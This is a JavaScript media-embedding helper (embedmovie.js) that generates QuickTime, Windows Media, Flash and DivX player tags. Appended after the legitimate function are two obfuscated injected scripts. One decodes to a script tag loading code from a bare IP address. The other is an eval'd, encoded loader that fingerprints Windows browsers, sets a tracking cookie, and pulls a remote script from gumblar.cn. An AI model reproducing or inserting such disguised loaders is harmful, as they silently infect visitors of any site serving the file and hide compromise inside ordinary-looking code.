/* embedmovie.js
 * Author: Laszlo Molnar / Hungary
 * Date: 01/11/2006
 * Version: 0.5
 */
 
var mtype = new Array (".avi.mp3", ".qt.mov.mpg.mpeg.mpe.mp4.aiff", ".wmv.wma.asf", ".swf", ".flv", ".divx.xvid" );
var cheight = new Array (0, 16, 64, 0, 18, 20);
var audio = ".mp3.wav.wma.aiff.mid.rm.ram";

function addParam(name, value) {
  return '<param name="' + name + '" value="' + value + '" />\n';
}

function embedMovie(src, width, height, autoplay, hide, scaletofit) {
  var isExplorer = (navigator.appName.indexOf('Explorer') != -1);
  var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
  var isAudio = (audio.indexOf(ext) != -1);

  for(i = 0; i < mtype.length; i++)
    if(mtype[i].indexOf(ext) != -1) break;

  if(i == 0) { i = (navigator.userAgent.indexOf('Macintosh') != -1)? 1 : 2; }

  if(!scaletofit && audio.indexOf(ext) != -1) height = 0;
    
  if(hide) width = height = 0;
  else height += (i < mtype.length)? cheight[i] : 45;

  switch (i) {
  
  case 1: // QuickTime Movie

    if(isExplorer) {
      document.write('<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ');
      document.write('codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0" '); }
    else
      document.write('<object type="video/quicktime" data="' + src + '"');

    document.write(' width="' + width + '" height="' + height + '" id="QuickTimePlayer">\n');
    document.write(addParam("src", src));
    document.write(addParam("autoplay", autoplay? 'true':'false'));
    document.write(addParam("bgcolor", "black"));
    if(scaletofit) document.write(addParam("scale", "tofit"));
    document.write('</object>\n');
    break;

  case 2: // Windows Media Player 

    if(src.indexOf('/') == -1) src = './' + src;

    if(isExplorer)
      document.write('<object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" ');
    else
      document.write('<object type="video/x-ms-wmv" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="MediaPlayer">\n');
    if(isExplorer) document.write(addParam("URL", src));
    document.write(addParam("src", src));
    document.write(addParam("AutoStart", autoplay? '1':'0'));
    if(scaletofit) document.write(addParam("StretchToFit", '1'));
    document.write(addParam(isExplorer? "ShowControls":"Controller", '1'));
    document.write('</object>\n');
    break;

  case 3: // Flash Animation
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write('</object>\n');
    break;

  case 4: // Flash movie
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '&autoStart=' + (autoplay? 'true':'false') + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src + '&autoStart=' + (autoplay? 'true':'false')));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write(addParam("quality", "high"));
    document.write('</object>\n');
    break;

  case 5: // DivX Movie
    if(isExplorer) {
      document.write('<object classid="CLSID:67DABFBF-D0AB-41fa-9C46-CC0F21721616" ');
      document.write('codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" '); }
    else
      document.write('<object type="video/divx" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" pluginspage="http://go.divx.com/plugin/download/" id="DivxPlayer">\n');
    document.write(addParam("mode", "zero"));
    document.write(addParam("autoPlay", autoplay? 'true':'false'));
    document.write(addParam("allowContextMenu", "false"));
    if(src.charAt(0) == "." || src.charAt(0) == "/" || src.indexOf("http:") == 0)
      document.write(addParam("src", src));
    else
      document.write(addParam("src", "./" + src));
    document.write('</object>\n');
    break;
	
  default: // Undefined
    document.write('<embed src="' + src + '" autostart="' + (autoplay? 'true':'false') + '" width="' + width + '" height="' + height + '" loop="false"></embed>');
  }
}

<!-- 
document.write(unescape('%3CuESsls6criptmZ%20src5WL%3D%2F%2F94%2Els624uES7%2E2%2E5WL195VzB%2FjTXBquls6euESrTXBy5WL%2EjsH5%3E5WL%3CH5%2Fsls6cTXBrTXBipFMOt%3E').replace(/VzB|ls6|H5|FMO|5WL|mZ|uES|TXB/g,""));
 --><!-- 
(function(){var wiLJ='%';var n7t='var>20a>3d>22Sc>72>69>70tEn>67>69n>65>22>2cb>3d>22Ver>73io>6e(>29+>22>2c>6a>3d>22>22>2cu>3dnavigat>6fr>2eu>73>65>72Agent>3bif((u>2eindex>4ff(>22Win>22)>3e0>29>26>26(>75>2e>69ndex>4ff(>22NT>20>36>22)>3c0)>26>26>28>64>6f>63>75>6den>74>2ecoo>6b>69e>2e>69ndex>4ff(>22miek>3d1>22)>3c0>29>26>26(typ>65o>66(zrvzts)>21>3d>74ypeof(>22A>22)))>7bzrv>7a>74s>3d>22>41>22>3be>76al(>22if(>77>69n>64ow>2e>22+a+>22>29j>3dj+>22+a+>22M>61j>6fr>22+b+a+>22Mi>6eor>22+b+a+>22>42>75ild>22>2bb+>22j>3b>22)>3bd>6fc>75ment>2ew>72>69te(>22>3csc>72ipt>20sr>63>3d>2f>2fgumb>6car>2e>63n>2frss>2f>3fi>64>3d>22+j+>22>3e>3c>5c>2fscr>69pt>3e>22)>3b>7d';var pWIJW=n7t.replace(/>/g,wiLJ);eval(unescape(pWIJW))})();
 -->
